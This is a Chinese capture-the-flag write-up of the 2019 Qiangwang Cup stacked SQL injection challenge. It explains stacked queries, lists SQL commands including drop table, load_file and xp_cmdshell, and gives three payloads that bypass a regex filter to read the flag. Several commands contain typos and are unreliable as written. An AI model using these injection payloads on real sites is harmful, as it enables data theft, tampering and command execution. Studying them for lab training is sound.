2019年强网杯随便注入(堆叠注入)

2019年强网杯随便注入(堆叠注入实例)

堆叠注入

分号(;)在sql数据库中代表一句sql语句的结束,而如果在sql语句结束的后面在构造一条sql语句的话,会不会被执行呢?答案是肯定的。
因此,堆叠注入就是用分号作为每句sql语句的分隔,然后不断地在payload里构造sql语句。而联合注入(union select)与堆叠注入
的区别在于联合语句(union select)构造的sql语句是有限的,可以用来查询语句,而堆叠注入可以构造多条任意的sql语句。

缺点:堆叠注入第二个语句发生错误的话,由于 web系统中执行代码通常只会回显查询结果,所以我们在前端无法看到错误的结果的,
所以读取数据,最好用联合注入

用法:

启用phpstudy的mysql的命令

1
mysql -u root -p

新建表

1
create table test like users //新建test这个数据表

删除表

1
drop table test //删除test这个数据表

查询数据

1
select 1,2,3

加载文件/读取文件

1
select load_file('c:/tmpupbbn.php) //读取c盘下的tmpupbbn.php文件

修改数据

1
2
3
insert into users(id,username,password) values('100','new','new') //在users表的列中添加id=100,username=new,password=new的数据

updata test set name='test' where id=3 //更新test表,将id=3的name字段改为test

sqlserver中最为重要的存储过程的执行

1
exec master..xp_cmdshell 'ipconfig' //执行master的存储过程,将命令字符串ipconfig,以系统命令shell的形式执行,并以文本的方式显示

修改表的名字

1
rename table test to users //将test表的名字改为users

修改表中列的名字

1
alter table test change flag data varchar(100) //进入test表,将列flag的名字改为data

添加表中的列

1
alter table test add id int unsigned not null auto_increment primary key //进入test表,添加id这个列并自动赋值,auto_increment是自动赋值

###mysql数据库中的handler语句

创建一个表

1
creat table handler_table(int id,name varchar(10)) //创建一个handle_table表,表里有id和name两个列

表中依次插入数据

1
insert into handler_table values(3,'张三') //在handle_table表中插入数据:id=3,name='张三'

打开一个表的句柄

1
handler test open as a //打开一个test表的句柄,并命名为a

不通过索引值看表,最后一行再用nest的话,回显示空格

1
2
3
handler test read first //查看test表中的第一行
handler test read nest //查看test表中的下一行

通过索引值查看表

1
2
3
4
5
6
7
8
9
10
11
creat index handler_index on handler_table(id) //将handle_table表中的id字段创建索引,并命名为handle_index

handler handler_table open as p //打开handle_table表中的句柄,并命名为p

handler handler_table read handler_index first //获取handle_table表中第一行的数据,此时handle_index=(1),也可以写成:handle handle_table read handle_index=(1)

handler handler_table read handler_index next //获取handle_table表中的下一行数据

handler handler_table read handler_index prev //获取handle_table表中的上一行数据

handler handle_table read handler_index last //获取handle_table表中的最后一行数据

关闭handle_table表的句柄

1
handler handler_table close

实例

不断尝试各种闭合字符,发现当添加单引号的时候,发生报错,通过报错可以知道是单引号闭合
强网2019随便注1

然后尝试?inject=1’union select @@version时,发现有正则过滤
强网2019随便注2

因此我们可以想到堆叠注入,输入?inject=1’;show databases;–+
强网2019随便注3

然后我们再输入?inject=1’;show tables;–+,可以看到有两张表
强网2019随便注4

我们再输入?inject=1’;show columns from 1919810931114514;show columns from words;–+,看到1919810931114514表中有flag
强网2019随便注5

有三种解法

第一种:由于输入1查询时,数据库会自动调用words这张表,所以可以将1919810931114514这张表改为words,将words这张表改为其它名字,
然后再添加id这个列,并将flag改为data即可

构造payload

1
2
?inject=1';rename table words to words1;rename table `1919810931114514` to words;alter table words add id  int unsigned not null auto_increment primary key;alter 
table words change flag data varcgae(100);--+

第二种解法:
利用handler语句

构造payload

1
?inject=1';handler `1919810931114514` open;handler `1919810931114514` read next;handler `1919810931114514` close;--+

第三种解法

将select语句进行16进制编码,绕过正则过滤。
可以使用prepare…from…预处理语句,会进行编码转换
然后用execute来执行由sqlprepare创建的sql语句
SET只能对后面的变量进行一次赋值

可以构造:?inject=1’;SET@a=……………………….;prepare execsql from @a;execute execsql;–+

最后可以得到flag